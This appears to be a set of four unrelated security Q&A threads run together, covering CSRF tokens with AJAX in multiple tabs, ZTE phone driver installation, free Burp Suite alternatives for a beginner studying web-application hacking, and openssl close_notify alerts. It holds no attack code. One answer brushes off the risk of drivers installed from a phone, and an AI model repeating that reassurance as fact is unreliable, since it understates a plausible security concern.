CSRF protection for AJAX when using multiple browser tabs Say I've got that web application that has a CSRF protection according to the Synchronizer Token Pattern. The server expects a valid CSRF token in each POST request when the user is authenticated. Now imagine the following scenario:

The user opens a browser tab (tab anonymous) and starts some AJAX functionality that periodically reads from the server (e.g. a timestamp). The user is not authenticated in this tab.
The user opens a new browser tab (tab authenticated) and performs a login there. If he now loads the AJAX framework, the CSRF token gets written into the source code of the AJAX framework by server-side includes and gets stored in the variable token.
If the next automatic poll is done from tab anonymous, the session cookie gets submitted indicating a logged in user but this tab never received a CSRF token since the AJAX framework was loaded before performing the login on tab authenticated.
This will result in an error thrown by the server because it received a valid session token without CSRF protection token.

How do I overcome this?

Edit:
Things get even worse if the user

does a login on tab 1 (user1)
opens tab 2
does a logout on tab 2
performs a new login on tab 2 (different user, user2)

In that case, the first tab provides the formerly valid CSRF token of user1 but the submitted session cookie belongs to user2 logged in on tab 2. This must lead to an error issued by the CSRF protection (by the way, in terms of HTTP error codes: what to use? 403 looks as if it could be used but I'm unsure).

Feeling now like the whole CSRF thing could be solved very nice in theory but could use some thinking in times of AJAX.

Is there any canonical solution for the issue described above? Or do users simply accept that they have to reload a page due to security-thingies-don't-match stuff?

You could have a flag in your anonymous requests to let them know they are always treated as anonymous, despite the presence of the authentication cookie.

e.g. { "Anon" : "true" }

This will always cause the public results of the request to be returned and no auth cookie or CSRF request token will be considered in the logic.


Is it safe to install phone driver? When I connect most Android phones to a Windows 7 computer via USB, Windows will install the appropriate drivers for the device.

My (possibly incorrect) understanding is that those drivers come with Windows or, if needed, are downloaded from Microsoft servers.  Since the drivers are provided by Microsoft, they have approximately the same trust level as anything else that comes through official Microsoft channels.

When I plug in a ZTE Android phone to a Windows computer, however, I get a unique menu on the phone.  Three of the options are expected:

Charge only
Media device (MTP)
Camera (PTP)

The fourth option is not expected:

Install driver: Select this option when features (Connect to PC software, Media device) enabled for the first time, or when they're unavailable.

Is option #4 transmitting a driver contained on the phone to Windows?  Or is it just signaling Windows to find it's own driver from Microsoft?

If the Windows driver comes directly from the phone, that would present a significant security issue.

The drivers are from the phone's manufacturers, e.g if you have a Samsung phone, Samsung phone drivers will be installed on the computer. Microsoft has nothing to do with the phone drivers. As for the trust level, it really depends how much you trust your phone's manufacturer. If you are comfortable enough to send text messages or calls or emails etc. using the phone, then you shouldn't worry about the drivers.


Free Alternatives in Web-Application Mapping Software Im new to hacking, i have reached a chapter in my book "the web applications hackers handbook" where im about to start bypassing client-side and actually attacking different technologies

well before i proceed i see mapping as an essential must expertise
i looked in Google for software came around Burp Suite, is quite expensive!
and others that were not trusting

what are the free alternatives?

for web spidering, http finger printing, an intruder, path testers, and any other type of needed tools i need to know to gather a lot of information to proceed a wider penetration

There's a number of program you can use for this.  First off I would mention that there's a free version of burp that does most (if not all) of what you're likely to need for running through the exercises in the book.

Good alternatives include

OWASP ZAP
Ironwasp
Conext CAT


SSL3 alert read:warning:close notify I was executing the command

openssl s_client -connect x.x.x.x:443 -status -debug

I can see that the Server is sending it's SSL cert but in the command prompt I'm getting at the end :

SSL3 alert read:warning:close notify
SSL3 alert write:warning:close notify

Is this an error message? What would it mean ?

Thank you

Is this an error message?

No, its not.

  What would it mean ?

close_notify alert is the normal way to stop a TLS session which should be done before closing the underlying TCP connection.
See also RFC 5246 7.2.1 Closure Alerts.